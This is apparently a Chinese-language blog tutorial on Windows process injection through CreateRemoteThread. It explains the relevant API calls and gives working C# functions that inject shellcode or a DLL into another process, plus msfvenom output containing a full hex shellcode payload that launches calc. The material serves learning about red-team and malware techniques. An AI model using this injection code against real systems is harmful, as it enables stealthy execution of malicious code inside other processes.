进程注入-第一部分

通过 CreateRemoteThread API 进行代码与 DLL 注入。

0x00 前言

某日看到收藏夹里头的 Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques ,里头总结得很到位,在国内的几个流行的安全媒体上也见过译文。

通过对进程注入技术的学习和理解,个人觉得整个过程非常有趣,故以此作为 C# 代码学习的方向(Windows API 利用),并编写有助于学习和开发的代码。

注意: 我不是第一个编写这样代码的人,Github 有一大堆代码示例。

0x01 什么是进程注入

进程注入是一种广泛应用于恶意软件和无文件攻击中的逃避技术,这意味着可以将自定义代码运行在另一个进程的地址空间内。进程注入提高了隐蔽性,也实现了持久化。尽管有非常多的进程注入技术,本文所述是最常用的进程注入技术之一。

0x02 VirtualAllocEx => WriteProcessMemory 模式

CreateRemoteThread 是 Win32 API 提供的一个函数,用于在另一个进程中创建线程。在另一个应用程序中创建线程之前,必须满足两个条件。

  • 尝试在另一个进程中创建线程的进程必须具有创建线程的权限。简单来说,必须有与目标进程相同或更高的权限(目标指的是我们想要创建线程的进程)

  • 两个进程必须在同一会话中。如果会话标识符不匹配,则不会创建线程。

如果不满足上述任何一个条件,则操作系统本身将拒绝代码注入这一过程。这不是 Windows 操作系统体系结构中的安全漏洞,而是由操作系统提供的功能。由于我们无法修改具有比我们更高权限的进程,因此不会跨越任何安全边界。

为了通过 CreateRemoteThread API 实现代码注入,我们遵循以下流程:

代码示意:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static void CodeInject(int pid, byte[] buf)
{
try
{
uint lpNumberOfBytesWritten = 0;
uint lpThreadId = 0;
Console.WriteLine($" [>] 获取进程ID {pid} 的句柄.");
IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)pid);
Console.WriteLine($" [>] 打开进程id { pid } 的句柄 {pHandle}.");
Console.WriteLine($" [>] 分配内存以注入shellcode.");
IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
Console.WriteLine($" [>] Shellcode 的内存分配在 0x{rMemAddress}.");
Console.WriteLine($" [>] 在已分配的内存位置写入shellcode");
if (WriteProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length, ref lpNumberOfBytesWritten))
{
Console.WriteLine($" [>] Shellcode写在进程内存中.");
Console.WriteLine($" [>] 创建远程线程来注入 shellcode.");
IntPtr hRemoteThread = CreateRemoteThread(pHandle, IntPtr.Zero, 0, rMemAddress, IntPtr.Zero, 0, ref lpThreadId);
bool hCreateRemoteThreadClose = CloseHandle(hRemoteThread);
Console.WriteLine($" [>] 成功将 shellcode 注入进程id {pid} 的内存中.");
}
else
{
Console.WriteLine($" [!] 无法将shellcode注入进程id {pid} 的内存中.");
}
bool hOpenProcessClose = CloseHandle(pHandle);
}
catch (Exception ex)
{
Console.WriteLine("[+] " + Marshal.GetExceptionCode());
Console.WriteLine(ex.Message);
}
}

Cobalt Strike 提供了两种在远程进程中分配内存并将数据复制到其中的选项,而其中默认使用项就是使用了 VirtualAllocEx -> WriteProcessMemory 的经典模式,这模式也是红队工具中最常见的模式。此模式也适用于不同的进程体系结构。

当然,一个好的实现需要考虑到出现不同的极端情况,比如 x86 -> x64, x64 -> x86,不同上下文等,不过这不是本文的内容。

0x03 深入了解函数

3.1 访问远程进程

要对任何进程执行内存操作,我们必须能够访问到它。可以通过使用 OpenProcess 函数获得,该函数原型是:

它需要 3 个参数:

  • DwDesiredAccess:对进程对象的请求访问权限。它将根据受害者进程的安全描述符进行检查。如果调用者启用了 SeDebugPrivilege 特权,则无论安全描述符的内容如何,都会授予所请求的访问权限。

  • bInheritHandle:如果此值为 TRUE,则此进程创建的进程将继承该句柄。否则,进程不会继承此句柄。

  • dwProcessId:这是受害者进程的进程标识符。

如果函数成功,则返回值是指定进程的打开句柄,其他 API函数可以使用它来操作受害进程的内存。失败时,返回 NULL。

3.2 为 shellcode 分配空间

一旦我们获得进程的句柄,我们继续为内存中的 shellcode 分配空间。这是通过使用 VirtualAllocEx API 调用完成的。

它需要 5 个参数:

  • hProcess:进程的句柄。该函数在此进程的虚拟地址空间内分配内存。句柄必须具有PROCESS_VM_OPERATION访问权限。
  • lpAddress:指向受害者进程内存中指定地址的指针。如果参数指定为 NULL,则该函数回自动选择要分配的内存页面。
  • dwSize:要分配的内存区域的大小,它以字节为单位。
  • flAllocationType:指定要分配的内存类型。此参数必须包含以下值之一。:MEM_COMMIT、MEM_RESERVE、MEM_RESET、MEM_RESET_UNDO。
  • flProtect:要分配的页面区域的内存保护。出于我们的目的,它将包含我们要执行的代码,并且我们希望它可读可写,我们将其设置为 PAGE_EXECUTE_READWRITE。

该函数在成功时返回分配的基址,而失败时,返回 NULL。

此时我们已经成功设法在进程中分配可执行内存。

3.3 在远程进程中写入 shellcode

现在,我们需要在分配的区域中写入 shellcode。为此,我们有一个名为 WriteProcessMemory 的函数。

WriteProcessMemory 是一个函数,它将调用者的数据写入指定进程的内存区域。需要注意的时整个内存区域必须时可写的,否则函数会失败,这就是为什么我们要将内存分配为可写,并与可读和可执行文件一起分配。

它需要 5 个参数。

  • hProcess:要修改的进程内存的句柄。句柄必须具有 PROCESS_VM_WRITE 和 PROCESS_VM_OPERATION 访问权限。
  • lpBaseAddress:指向写入数据的指定进程中的基址的指针(我们想要写入数据的地址)。在发生数据传输之前,系统会验证指定大小的基址和内存中的所有数据是否都可以进行写访问,如果无法访问,则该函数将失败。
  • lpBuffer:指向缓冲区的指针,指针补习时const指针。该缓冲区包含要在指定进程的地址空间中写入的数据。
  • nSize:要写入指定进程的字节数。
  • lpNumberOfBytesWritten:指向变量的指针,该变量接收传输到指定进程的字节数。此参数是可选的。如果 lpNumberOfBytesWrittenNULL,则忽略该参数。

如果函数由于某些原因而失败,则返回 false,如果成功则返回 true。

此时,stage 已全部设置,所需的只是在远程进程中创建一个线程并运行它。

3.4 执行 shellcode

为了在远程进程中创建线程,我们使用 Win32 API 提供的 CreateRemoteThread 函数。

它需要 7 个参数,其中只有 3 个是我们感兴趣的。其余的可以通过调整它们获得默认值,可以对新创建的线程进行更多控制。

我们感兴趣的参数是:

  • hProcess:要创建线程的进程的句柄。
  • lpStartAddress:它是指向 THREADSTARTROUTINE 的指针,THREADSTARTROUTINE 是线程创建后开始执行代码的位置。
  • lpParameter:指向 LPTHREAD_START_ROUTINE 所需参数的指针。因为在这种情况下,它是一个普通的shellcode,它不期望任何参数,因此,我们将它保持为 NULL 。此参数在 DLL 注入中具有价值。

0x04 演示

利用 msfvenom 生成 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
rcoil@MacBookPro  ~  msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b "\x00" -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=7, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 311 (iteration=0)
x64/xor chosen with final size 311
Payload size: 311 bytes
Final size of hex file: 622 bytes
4831c94881e9deffffff488d05efffffff48bbc690bbfdf6dbd2a448315827482df8ffffffe2f43ad83819063312a4c690faacb78b80f590d88a2f939359f6a6d830afee9359f6e6d8308fa693dd138cdaf6cc3f93e3646aacda81f4f7f2e50759b6bcf71a304994d1eab57d89f22f84acf3fc2650522cc690bbb5731ba6c38e916bad7d93cae04dd09bb4f70b31f28e6f72bc7def5aecc746f6cc3f93e3646ad17a34fb9ad365fe70ce0cbad89e80ced5822c83038ae04dd09fb4f70bb4e54d9cf3b97d9bceedc740fa76f2539aa516d1e3bcae858bfe87c8faa4b7819a272ab0faaf093b8ae59fcaf376e432855b396fe6b54cdad2a4c690bbfdf6935f29c791bbfdb761e32fa91744284d3bcf8eccd1015b63664f5b13d83839dee7d4d8cc10401d83de69e3d5e2d497f682932d1c6f6e9e97b7b1a4

运行结果:

0x05 DLL 注入

5.1 什么是DLL?

动态链接库(DLL)是一个包含代码的文件,程序已加载该文件以在运行时执行一个或多个操作。

5.2 什么是DLL注入?

DLL 注入是一个将 DLL 注入到正在运行中的进程的过程,该进程可能包含恶意代码,可用于执行恶意活动。

5.3 相关函数

  • GetModuleHandleA :检索已由调用进程加载的指定模块的模块句柄。
  • GetProcAddress :从指定的动态链接库(DLL)中检索导出的函数或变量的地址。

5.4 示例代码

DLL 注入,只需要在上面的基础上引入 LoadLibrary 即可。

代码部分只需要修改以下内容即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static void DLLInject(int pid, byte[] buf)
{
try
{
uint lpNumberOfBytesWritten = 0;
uint lpThreadId = 0;
Console.WriteLine($" [>] 获取进程ID {pid} 的句柄.");
IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)pid);
Console.WriteLine($" [>] 打开进程id { pid } 的句柄 {pHandle}.");
IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
Console.WriteLine($" [>] LoadLibraryA 的导出函数地址是 {loadLibraryAddr} .");
Console.WriteLine($" [>] 分配 DLL 路径的内存.");
IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
Console.WriteLine($" [>] 注入 DLL 路径的内存分配在 0x{rMemAddress}.");
Console.WriteLine($" [>] 在已分配的内存位置写入 DLL 路径.");
if (WriteProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length, ref lpNumberOfBytesWritten))
{
Console.WriteLine($" [>] DLL 路径写在目标进程内存中.");
Console.WriteLine($" [>] 创建远程线程来注入 DLL.");
IntPtr hRemoteThread = CreateRemoteThread(pHandle, IntPtr.Zero, 0, loadLibraryAddr, rMemAddress, 0, ref lpThreadId);
bool hCreateRemoteThreadClose = CloseHandle(hRemoteThread);
Console.WriteLine($"[>] 成功将 DLL 注入进程id {pid} 的内存中.");
}
else
{
Console.WriteLine($" [!] 无法将 DLL 注入进程id {pid} 的内存中.");
}
bool hOpenProcessClose = CloseHandle(pHandle);
}
catch (Exception ex)
{
Console.WriteLine("[+] " + Marshal.GetExceptionCode());
Console.WriteLine(ex.Message);
}
}

0x06 来源参考

https://3xpl01tc0d3r.blogspot.com/2019/08/process-injection-part-i.html
https://pwnrip.com/demystifying-code-injection-techniques-part-1-shellcode-injection/
https://blog.cobaltstrike.com/2019/08/21/cobalt-strikes-process-injection-the-details/

!坚持技术分享,您的支持将鼓励我继续创作!